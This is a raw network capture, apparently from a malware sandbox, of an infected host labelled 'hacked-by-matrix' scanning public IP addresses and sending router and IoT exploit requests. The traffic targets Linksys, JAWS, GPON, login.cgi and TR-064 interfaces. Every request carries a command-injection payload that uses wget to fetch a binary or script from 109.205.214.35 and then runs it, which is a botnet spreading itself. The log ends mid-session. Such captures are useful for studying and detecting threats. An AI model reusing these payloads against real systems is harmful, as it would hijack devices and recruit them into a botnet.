70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
879	192.168.2.14	41856	23.193.66.111	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:38.078206062 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:38.238694906 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Thu, 21 Mar 2024 04:22:38 GMT Date: Thu, 21 Mar 2024 04:22:38 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 31 64 32 65 63 39 31 37 26 23 34 36 3b 31 37 31 30 39 39 34 39 35 38 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.1d2ec917.1710994958.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
880	192.168.2.14	43200	94.8.177.175	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:38.346072912 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
881	192.168.2.14	55852	118.106.239.149	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:38.346138000 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
882	192.168.2.14	38866	79.215.88.175	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:38.346170902 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
883	192.168.2.14	44308	2.23.162.169	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:39.075412035 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:39.242230892 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Thu, 21 Mar 2024 04:22:39 GMT Date: Thu, 21 Mar 2024 04:22:39 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 31 63 38 30 31 30 30 32 26 23 34 36 3b 31 37 31 30 39 39 34 39 35 39 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.1c801002.1710994959.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
884	192.168.2.14	32888	104.72.113.192	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:39.077600956 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:39.242548943 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Thu, 21 Mar 2024 04:22:39 GMT Date: Thu, 21 Mar 2024 04:22:39 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 63 64 36 35 37 34 36 38 26 23 34 36 3b 31 37 31 30 39 39 34 39 35 39 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.cd657468.1710994959.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
885	192.168.2.14	37496	212.62.205.35	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:39.246721029 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:40.226666927 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:40.401150942 CET	503	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:22:40 GMT Server: Apache/2.4.57 (Debian) Content-Length: 309 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 37 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 71 75 61 6e 74 65 6f 6e 2e 66 77 73 75 62 2e 64 65 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.57 (Debian) Server at quanteon.fwsub.de Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
886	192.168.2.14	33100	88.255.130.104	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:39.809174061 CET	6	OUT	GET Data Raw: Data Ascii:
Mar 21, 2024 05:22:42.879308939 CET	6	OUT	GET Data Raw: Data Ascii:
Mar 21, 2024 05:22:49.020792961 CET	6	OUT	GET Data Raw: Data Ascii:
Mar 21, 2024 05:23:01.053519964 CET	6	OUT	GET Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
887	192.168.2.14	34562	103.207.27.207	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:40.247545004 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:44.412975073 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:50.559309006 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:02.588325977 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
888	192.168.2.14	39442	165.51.40.40	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:40.279771090 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:40.537384033 CET	174	IN	HTTP/1.1 400 Bad Request Content-Length: 0 Date: Thu, 21 Mar 2024 04:22:42 GMT X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self'

Session ID	Source IP	Source Port	Destination IP	Destination Port
889	192.168.2.14	39470	165.51.40.40	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:40.495448112 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:40.763307095 CET	174	IN	HTTP/1.1 400 Bad Request Content-Length: 0 Date: Thu, 21 Mar 2024 04:22:42 GMT X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self'

Session ID	Source IP	Source Port	Destination IP	Destination Port
890	192.168.2.14	40242	14.47.71.156	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:40.782967091 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
891	192.168.2.14	40248	14.47.71.156	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.068151951 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:42.525028944 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:44.256973982 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
892	192.168.2.14	41650	73.180.207.49	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.214596987 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:41.821099997 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
893	192.168.2.14	48678	71.11.249.84	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.214854002 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:45.439402103 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
894	192.168.2.14	53916	47.192.176.170	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.223726034 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
895	192.168.2.14	47248	89.155.20.109	7547

Timestamp	Bytes transferred	Direction	Data
